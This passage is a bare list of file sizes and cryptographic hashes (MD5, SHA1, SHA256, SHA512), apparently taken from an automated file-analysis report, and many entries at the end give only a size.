SHA512b8e6e7c6960b1740f27be3bd2a2dff13f7d98507c5e41c4d18974c04d07b8bb3d9dbf6ef3f944c0f88526f5b7aa4efde49468ff2295ebfbfa5117c04fd5645a5
-
Filesize
1.1MB
MD5d06bc287abe674439b0c79eeb44fcad7
SHA123c008032a083d498521514e0e4edf165417a5a9
SHA256108f165c68c771e8c93b592b7e9d4c48c72601ee1a5670a2967214243cdaa5e5
SHA5121db9d7dd54d6f704cf1f740cf87ec9fa14a6fbcd8fc1f51cb858764b9fd41b2ddd07fe05b184a5a801c10484148e1401d5f033517393a74dff2cdbb02584245e
-
Filesize
25.9MB
MD53ce01448f907442b2a08d426dff4e75f
SHA19d2c3796a65abc2666a1dceece8005e6f21ddef1
SHA2564e6dab2b910a2b7eb40b3f7d6437c98d86251c9e069f44f75d27f4d5e6f002ba
SHA512ada447942b86d6aa199e4992d2d832dc516af569ceaec44e1d488cac6e2c69287e1a6db56a776bb42e3cefa30463dcd0666e9e9dfe6e0a5b8ff6b0e26eff5a93
-
Filesize
2.3MB
MD559d168a45972ee044cbed2ec0629a0b8
SHA1d447d8a8a927386780b5088dcbb68bd6e1aded96
SHA256fad1d062f2705954d0124c93cba35dbe722aac7da521cdd731f120a0ecd3696d
SHA5127d47d4d8988a554fb5bb284ab5597b4018d0228a1aeb5eaacf00b6b1696a503e30e9aaf85a248ccfb46f638ef59adaf1ff8d1da54ca49cfc0c5b1a271b4de17d
-
Filesize
20.8MB
MD5062c34d209df8fc7f1f04e7fd644badd
SHA196d8b1a62a276b1512380d56c40705c7780afc04
SHA2567b4c3c36170d6bdc4d7819d962abd0204ac1f68effeaa416ac85cbc768fab351
SHA5120e3ade6de3d93bec03b4af02261775aef12b0f732f52f92424725b3bbbefa4140c92da65b9d0809d1c9203fc23667f533aad8789267b659629aa47c9292f50eb
-
Filesize
4.3MB
MD57ffad4e8451f0eea0717ba4e807f1c46
SHA18c6574f2097a4723a7a49d077186854a7da55c63
SHA256b4e8296aa13c3592a31610848549d3a6012313a72dde51aad22ebbc27d92e27a
SHA512dfc031a01d6a146126e60f7f8fac0175e75f5c0674ba622bf81df2d23f9578cc66ff1454d82163d559d54a9483babdd137369dc5cdd2dd7dd6b3c7333d16462c
-
Filesize
44.0MB
MD5ec7f9d03c927816a1eda5e7a266a3e76
SHA1aed30e39771f45a1d13a78c25d15110a55652dd7
SHA2566025f469f58a14bcd8556854e83d6546e3d7e6534c937c3fb179d420eccf9994
SHA512a7ba42482c2af00ba03e53e3c3a4c1b041393f2a2d4340f82bdd62b48e0e115c816c765dd8dfa9a6bc656edae4c52c610b3926caf72aadfc27dc3c9606a68d9c
-
Filesize
8.7MB
MD5d1ed6ad1ca23301c6ab09b886a842069
SHA1f564440fc7bd02ab42e508e277b4d557f2094c6f
SHA2562220d0a634792a71619ba1dd9e2dcaccb4accb6064c5935be298a9fa761f079a
SHA5125f1ae0fca020e700569fa1a3331b8c86d7b415b3e17496b5d9f7abec60bed5d318c1d2cc472ab48b7d14556a2b61380d48c489062df3bcdd9f29afb01268ec5c
-
Filesize
30.0MB
MD5e62643bc5927b4d070640a9c80e924ce
SHA12ad0e48d773cb651bd6ad7e721b95386a43028ce
SHA25646c22ff0e19cae4cd657c0a8a28b158599a83ffb14abed3b537a8b82fcc22ff8
SHA512e6a25201bd2c99345aef724a7463740297d3f16d2c355bc4248edcf44d9f4e3170f37b4040368a5a195871f3113f1d743bb4b1c70bd6760fbccd2a3e726f3ce2
-
Filesize
1019KB
MD5272c319ea36205a4f64c7c8f83d3c361
SHA1f254bb700b57dc2ce92bcf63acb9234eee37d880
SHA256ab354485ebb33f745fc62b29592777ec5809c6f83ad616cb9f963818330487a3
SHA512dbebd9e2cfccf671ea34063d8ee86c5c2ca0048e650e630544b95dbbf1231226f889649dbb6e85c5ca8d802aea51ed5d24dedb5c5ce02d3397b99299ec43635f
-
Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
-
Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
-
Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
-
Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
-
Filesize
9.3MB
MD52bd7b66235b77c3784889f4b0f588151
SHA16009cb7af111af3d5f97cecbfb2f9277550be838
SHA256be497e7211f1934a477599b51e818eb7a24ec11abd890abf2fae7ebb6b56bfe9
SHA5122c1326f31c66bd41e134dadba6070f976f977189729d04e60fb65466f9f596c09bf00c6532d18614860f9e6e2c95d76bf8b67aacf2510dc4ace09dacc4e0d5f0
-
Filesize
1KB
MD5c838e174298c403c2bbdf3cb4bdbb597
SHA170eeb7dfad9488f14351415800e67454e2b4b95b
SHA2561891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
SHA512c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376
-
Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
-
Filesize
594B
MD5088ea5cbcefdba03346a1f35ea8e640d
SHA1eaf58f3625a722f7ee14934a4ab37f990fe3a5d3
SHA2564607de789f1886f132b80c5fd13873477722568d4576ee03d4e21f2285e08dad
SHA5125d2dd32d4d77b89e50a9bea3ee5e0587988465964701e57183953ef3801fdc12390c8a7b4c946224777b23a58ba3e066f105374ab07bf119b2d69d1b3cb7f1a6
-
Filesize
1KB
MD5f28b8ebe6d40cdb63c2311bdb6fb0c8d
SHA176055e30f1ef3d7ad96363ee2fc84ccd8b9d2c4f
SHA2567809859dcc53fa8ec945d2963b24624f3f053480ca69ec32f30332048dac5da9
SHA5125d7806565ea62421c6c9fdabbe47f1c4c37e6ec2275958cc88c284e732f8935dcc27081d97dd1b8c7ca0547ec76cbe5159a1905b6adeac45b55f6c5244071b15
-
Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
-
Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
6.6MB
-
Filesize
72KB
-
Filesize
32KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
304KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
6.6MB
-
Filesize
6.6MB
-
Filesize
364KB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
64KB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
1.1MB
-
Filesize
364KB
-
Filesize
72KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
364KB
-
Filesize
952KB
-
Filesize
952KB
-
Filesize
364KB
-
Filesize
364KB